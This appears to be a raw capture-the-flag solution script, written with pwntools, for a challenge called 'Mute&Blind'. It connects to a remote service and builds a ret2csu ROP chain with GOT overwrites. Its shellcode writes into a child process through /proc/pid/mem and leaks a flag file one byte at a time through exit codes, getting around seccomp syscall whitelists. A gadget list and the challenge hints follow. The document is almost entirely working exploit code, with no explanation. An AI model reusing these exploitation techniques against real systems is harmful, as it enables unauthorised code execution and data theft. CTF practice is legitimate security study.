1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188
| from pwn import* context(os='linux', arch='amd64')
elf = ELF('./pwn') libc = ELF('./libc-2.31.so')
flag = '' i = -1 while (1): i+= 1 r = remote('10.7.2.147',19091)
r.recvuntil("Mute's pid is ") x = r.recvuntil('\n') pid = int(x[:-1], 10)
prdi_r = 0x0000000000401573 prsi_pr15_r = 0x0000000000401571 csu_down = 0x40156A csu_up = 0x401550 nop_r = 0x00000000004011cf
gadget = 0x40123c leave_r = 0x401347 xchg_eax_edi = 0x00000000000f1b95 input_addr1=0x04042E0 jmp_rax = 0x00000000004011cc syscall = elf.got['getpid'] xchg = elf.got['fork'] chain = b'' chain+= p64(csu_down) chain+= p64(9) chain+= p64(elf.got['getpid']+0x3d) chain+= p64(0)*4 chain+= p64(gadget) chain+= p64(csu_down) chain+= p64(xchg_eax_edi-libc.sym['fork']) chain+= p64(elf.got['fork']+0x3d) chain+= p64(0)*4 chain+= p64(gadget)
chain+= p64(csu_down) chain+= p64(0)+p64(1)+p64(10)+p64(0)+p64(0)+p64(xchg) chain+= p64(csu_up) chain+= p64(0)*7 chain+= p64(csu_down) chain+= p64(0)+p64(1)+p64(input_addr1&0xffffffff000)+p64(0x100)+p64(7)+p64(syscall) chain+= p64(csu_up) chain+= p64(0)*7 chain+= p64(csu_down) chain+= p64(0)+p64(1)+p64(0x4044d0)+p64(0)+p64(0)+p64(xchg) chain+= p64(csu_up) chain+= p64(0)*7 chain+= p64(jmp_rax)
sc = ''' /*open proc pid mem*/ mov rdi, {} mov rsi, 2 xor rdx, rdx mov rax, 2 syscall
/*lseek*/ mov rax, SYS_lseek mov rdi, 3 mov rsi, 0x4014f5 mov rdx, 1 syscall
/*write*/ mov rdi, 3 mov rsi, {}+0x30 mov rdx, 0x200 mov rax, 1 syscall
/*wait4*/ mov edi, {} mov rsi, 0x404700 xor rdx, rdx xor rcx, rcx xor r10, r10 mov rax, SYS_wait4 syscall
mov rdi, 1 mov rsi, 0x404701 mov rdx, 0x1 mov rax, 1 syscall '''.format(input_addr1+0x2a1, input_addr1+0x2a0, pid+1) chain+= asm(sc)
sc2 = ''' mov rdi, 0x74632f656d6f682f mov rdx, 0x67616c662f66 mov rsi, 0x404500 mov [rsi], rdi mov [rsi+8], rdx mov rdi, rsi mov rax, 2 xor rsi, rsi xor rdx, rdx syscall
/*read*/ mov rdi, 0 mov rsi, 0x404300 mov rdx, 0x50 mov rax, SYS_read syscall
/*exit group!*/
mov rsi, 0x404300+{} mov rdi, [rsi] inc rsi mov word ptr [rsi], 0 dec rsi xor rdi, rdi mov di, word ptr [rsi] test di, di jz error xor rsi, rsi xor rdx, rdx xor r10, r10 mov rax, SYS_exit_group syscall
error: mov rdi, 123 xor rsi, rsi xor rdx, rdx xor r10, r10 mov rax, SYS_exit_group syscall '''.format(i)
pay = b'' pay+= asm("nop")*0x10+asm(sc2) pp = chain.ljust(0x2a0, b'\x00')+b'//proc/'+bytes(pid+1)+'/mem\x00' r.recv() r.sendline(pp.ljust(0x2a0+0x30, b'\x00')+pay)
r.recv() rop = b'' rop+= p64(leave_r) r.sendline('A'*0x40+p64(input_addr1-8)+rop) r.recvuntil('\n') ch = r.recv(1) flag+= ch print ("flag ==>"+flag) log.success(str(pid)) r.close() if(ch == '}'): break ''' [Mute&Blind] hint1 parent whitelist write,open,close,mprotect,stat,fstat,lstat,lseek, fork,wait4,exit,exit_group
child white: read,open,close,mprotect,clock_nano sleep, stat,fstat,lstat,lseek,fork,wait4,exit,exit_group
0x000000000040156c: pop r12; pop r13; pop r14; pop r15; ret; 0x000000000040156e: pop r13; pop r14; pop r15; ret; 0x0000000000401570: pop r14; pop r15; ret; 0x0000000000401572: pop r15; ret; 0x000000000040156b: pop rbp; pop r12; pop r13; pop r14; pop r15; ret; 0x000000000040156f: pop rbp; pop r14; pop r15; ret; 0x000000000040123d: pop rbp; ret; 0x0000000000401573: pop rdi; ret; 0x0000000000401571: pop rsi; pop r15; ret; 0x000000000040156d: pop rsp; pop r13; pop r14; pop r15; ret; '''
|